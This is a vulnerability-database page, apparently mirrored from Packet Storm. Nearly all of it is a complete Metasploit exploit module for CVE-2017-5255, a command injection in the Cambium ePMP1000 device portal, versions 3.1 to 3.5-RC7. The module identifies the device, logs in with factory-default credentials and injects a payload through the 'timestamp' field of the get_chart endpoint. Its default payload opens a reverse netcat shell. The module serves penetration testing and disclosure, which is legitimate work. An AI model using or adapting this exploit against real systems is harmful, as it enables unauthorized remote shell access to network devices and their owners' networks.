Lucene search
K

Cambium ePMP1000 3.1-3.5-RC7 Command Injection

🗓️ 29 Dec 2017 00:00:00Reported by Karn GaneshenType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 35 Views

Cambium ePMP1000 'get_chart' Shell Command Injection (v3.1-3.5-RC7

Related
Code
`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => "Cambium ePMP1000 'get_chart' Shell via Command Injection (v3.1-3.5-RC7)",  
'Description' => %{  
This module exploits an OS Command Injection vulnerability in Cambium  
ePMP1000 device management portal. It requires any one of the following login  
credentials - admin/admin, installer/installer, home/home - to set up a reverse  
netcat shell. The module has been tested on versions 3.1-3.5-RC7.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'  
],  
'References' =>  
[  
['CVE', '2017-5255'],  
['URL', 'https://blog.rapid7.com/2017/12/19/r7-2017-25-cambium-epmp-and-cnpilot-multiple-vulnerabilities']  
],  
'Privileged' => true,  
'Targets' =>  
[  
['CMD',  
{  
'Arch' => ARCH_CMD,  
'Platform' => 'unix'  
}  
]  
],  
'DisclosureDate' => 'Dec 18 2017',  
'DefaultTarget' => 0,  
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' })  
)  
  
register_options(  
[  
Opt::RPORT(80), # Application may run on a different port too. Change port accordingly.  
OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'installer']),  
OptString.new('PASSWORD', [true, 'A specific password to authenticate with', 'installer'])  
], self.class  
)  
  
deregister_options('DB_ALL_CREDS', 'DB_ALL_PASS', 'DB_ALL_USERS', 'USER_AS_PASS', 'USERPASS_FILE', 'USER_FILE', 'PASS_FILE', 'BLANK_PASSWORDS', 'BRUTEFORCE_SPEED', 'STOP_ON_SUCCESS')  
end  
  
#  
# Fingerprinting  
#  
def is_app_epmp1000?  
begin  
res = send_request_cgi(  
{  
'uri' => '/',  
'method' => 'GET'  
}  
)  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError  
print_error("#{rhost}:#{rport} - HTTP Connection Failed...")  
return false  
end  
  
good_response = (  
res &&  
res.code == 200 &&  
(res.body.include?('cambium.min.css') || res.body.include?('cambiumnetworks.com') && res.body.include?('https://support.cambiumnetworks.com/files/epmp/'))  
)  
  
if good_response  
get_epmp_ver = res.body.match(/"sw_version">([^<]*)/)  
if !get_epmp_ver.nil?  
epmp_ver = get_epmp_ver[1]  
if !epmp_ver.nil?  
print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000 version #{epmp_ver}...")  
return true, epmp_ver  
else  
print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000...")  
epmp_ver = ''  
return true, epmp_ver  
end  
end  
else  
print_error("#{rhost}:#{rport} - Application does not appear to be Cambium ePMP 1000. The target is not vulnerable.")  
epmp_ver = nil  
return false  
end  
end  
  
#  
# check  
#  
def check  
success, epmp_ver = is_app_epmp1000?  
if (success != 'false' && !epmp_ver.nil? && epmp_ver >= '3.1')  
return CheckCode::Vulnerable  
else  
return CheckCode::Safe # Using 'Safe' here to imply this ver is not exploitable using the module'  
end  
end  
  
#  
# Login  
#  
def login(user, pass)  
res = send_request_cgi(  
{  
'uri' => '/cgi-bin/luci',  
'method' => 'POST',  
'headers' => {  
'X-Requested-With' => 'XMLHttpRequest',  
'Accept' => 'application/json, text/javascript, */*; q=0.01'  
},  
'vars_post' =>  
{  
'username' => 'dashboard',  
'password' => ''  
}  
}  
)  
  
cookies = res.get_cookies_parsed  
check_sysauth = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s  
  
good_response = (  
res &&  
res.code == 200 &&  
check_sysauth.include?('sysauth')  
)  
  
if good_response  
sysauth_dirty = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s  
sysauth_value = sysauth_dirty.match(/((.*)[$ ])/)  
prevsessid = res.body.match(/((?:[a-z][a-z]*[0-9]+[a-z0-9]*))/)  
  
res = send_request_cgi(  
{  
'uri' => '/cgi-bin/luci',  
'method' => 'POST',  
'cookie' => sysauth_value,  
'headers' => {  
'X-Requested-With' => 'XMLHttpRequest',  
'Accept' => 'application/json, text/javascript, */*; q=0.01',  
'Connection' => 'close'  
},  
'vars_post' =>  
{  
'username' => user,  
'password' => pass,  
'prevsess' => prevsessid  
}  
}  
)  
  
good_response = (  
res &&  
res.code == 200 &&  
!res.body.include?('auth_failed')  
)  
  
if good_response  
print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")  
  
# check if max_user_number_reached?  
if !res.body.include?('max_user_number_reached')  
# get the cookie now  
cookies = res.get_cookies_parsed  
stok_value_dirty = res.body.match(/"stok": "(.*?)"/)  
stok_value = "#{stok_value_dirty}".split('"')[3]  
sysauth_dirty = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s  
sysauth_value = sysauth_dirty.match(/((.*)[$ ])/)  
  
final_cookie = "#{sysauth_value}" + 'usernameType_80=admin; stok_80=' + "#{stok_value}"  
  
# create config_uri  
config_uri_get_chart = '/cgi-bin/luci/;stok=' + "#{stok_value}" + '/admin/get_chart'  
return final_cookie, config_uri_get_chart  
else  
print_error('The credentials are correct but maximum number of logged-in users reached. Try again later.')  
final_cookie = 'skip'  
config_uri_dump_config = 'skip'  
config_uri_reset_pass = 'skip'  
config_uri_get_chart = 'skip'  
return final_cookie, config_uri_get_chart  
end  
else  
print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")  
final_cookie = 'skip'  
config_uri_get_chart = 'skip'  
return final_cookie, config_uri_get_chart  
end  
end  
end  
  
#  
# open cmd_shell  
#  
def cmd_shell(config_uri, cookie)  
command = payload.encoded  
inject = '|' + "#{command}"  
clean_inject = CGI.unescapeHTML(inject.to_s)  
  
print_status('Sending payload...')  
  
res = send_request_cgi(  
{  
'method' => 'POST',  
'uri' => config_uri,  
'cookie' => cookie,  
'headers' => {  
'Accept' => '*/*',  
'Accept-Language' => 'en-US,en;q=0.5',  
'Content-Encoding' => 'application/x-www-form-urlencoded; charset=UTF-8',  
'X-Requested-With' => 'XMLHttpRequest',  
'Connection' => 'close'  
},  
'vars_post' =>  
{  
'measure' => 's', # This parameter can also be used for injection  
'timestamp' => clean_inject,  
'debug' => 0  
}  
}, 25  
)  
handler  
end  
  
# exploit  
  
def exploit  
_success, epmp_ver = is_app_epmp1000?  
if (epmp_ver < '3.1' || epmp_ver > '3.5' && epmp_ver != '3.5-RC7')  
print_error('This module is applicable to versions 3.1-3.5-RC7 only. Exiting now.')  
return  
else  
cookie, config_uri_get_chart = login(datastore['USERNAME'], datastore['PASSWORD'])  
if cookie == 'skip' && config_uri_get_chart == 'skip'  
return  
else  
cmd_shell(config_uri_get_chart, cookie)  
end  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation